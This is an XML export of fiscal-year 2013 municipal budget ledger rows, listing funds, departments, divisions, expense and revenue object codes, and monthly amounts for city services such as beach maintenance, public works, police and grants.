<row _id="3335"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7175.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7175.0</total></row>
<row _id="3336"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>43916.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>43916.0</total></row>
<row _id="3337"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>116718.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1167</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>117885.0</total></row>
<row _id="3338"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>86084.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>86084.0</total></row>
<row _id="3339"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7704.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7704.0</total></row>
<row _id="3340"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="3341"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>610.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>610.0</total></row>
<row _id="3342"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3240.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3240.0</total></row>
<row _id="3343"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>309447.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-57346</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>252101.0</total></row>
<row _id="3344"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>418.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-52</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>366.0</total></row>
<row _id="3345"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6952.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-869</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6083.0</total></row>
<row _id="3346"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>406545.0</object><object_description>USED OIL PAY PROG OPP3</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-25596.0</march><april>0</april><may>0</may><june>0.0</june><total>-25596.0</total></row>
<row _id="3347"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561118.0</object><object_description>STEP UP ON 2ND SNCTURY-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2600.0</total></row>
<row _id="3348"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408560.0</object><object_description>BIKESHARE METRO CFP GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-1543000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1543000.0</total></row>
<row _id="3349"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>29689.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>297</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29986.0</total></row>
<row _id="3350"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1700.0</total></row>
<row _id="3351"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1369.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1369.0</total></row>
<row _id="3352"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14841.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>148</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14989.0</total></row>
<row _id="3353"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-896.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-896.0</total></row>
<row _id="3354"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-77828.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-77828.0</total></row>
<row _id="3355"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>566870.0</object><object_description>HORSE PATROL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16015.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16015.0</total></row>
<row _id="3356"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>408340.0</object><object_description>URBAN RUNOFF MIT. INSP. ONSITE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4000.0</total></row>
<row _id="3357"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>53046.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6977</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60023.0</total></row>
<row _id="3358"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567230.0</object><object_description>PFA 2011B (PSF)</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1064950.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1064950.0</total></row>
<row _id="3359"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522990.0</object><object_description>STOCKROOM REPAIR PARTS &amp; MATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>600000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>600000.0</total></row>
<row _id="3360"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="3361"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-CITY YARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>40000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="3362"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>555397.0</object><object_description>11 UASI GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>363392.0</july><august>0</august><september>0.0</september><october>-36634.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>326758.0</total></row>
<row _id="3363"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562601.0</object><object_description>PICO YOUTH &amp; FAMILY CENTER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>225000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>225000.0</total></row>
<row _id="3364"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>89999.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>89999.0</total></row>
<row _id="3365"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3200.0</total></row>
<row _id="3366"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="3367"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4700.0</total></row>
<row _id="3368"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522119.0</object><object_description>UTIL-ELEC-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>180000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>180000.0</total></row>
<row _id="3369"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522119.0</object><object_description>UTIL-ELEC-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>92350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>92350.0</total></row>
<row _id="3370"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>196000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>196000.0</total></row>
<row _id="3371"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533215.0</object><object_description>BLDG/CUSTODIAL SUPPLIES-PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>81000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>81000.0</total></row>
<row _id="3372"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533225.0</object><object_description>BLDG/STR MAINT-PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>200000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200000.0</total></row>
<row _id="3373"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533226.0</object><object_description>BLDG/STR MAINT-LIBRARY</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>175000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>175000.0</total></row>
<row _id="3374"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>566100.0</object><object_description>STREET LIGHT / POLE REPAIR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11000.0</total></row>
<row _id="3375"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>406852.0</object><object_description>OTS STEP GRANT 2012</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-72796.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-72796.0</total></row>
<row _id="3376"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>406853.0</object><object_description>OTS SOBRIETY CHECKPOINT 2012</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-37323.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-37323.0</total></row>
<row _id="3377"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>350.0</total></row>
<row _id="3378"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>21456.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21456.0</total></row>
<row _id="3379"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>406795.0</object><object_description>09 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-50000.0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="3380"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>38500.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-38000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="3381"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>535500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>535500.0</total></row>
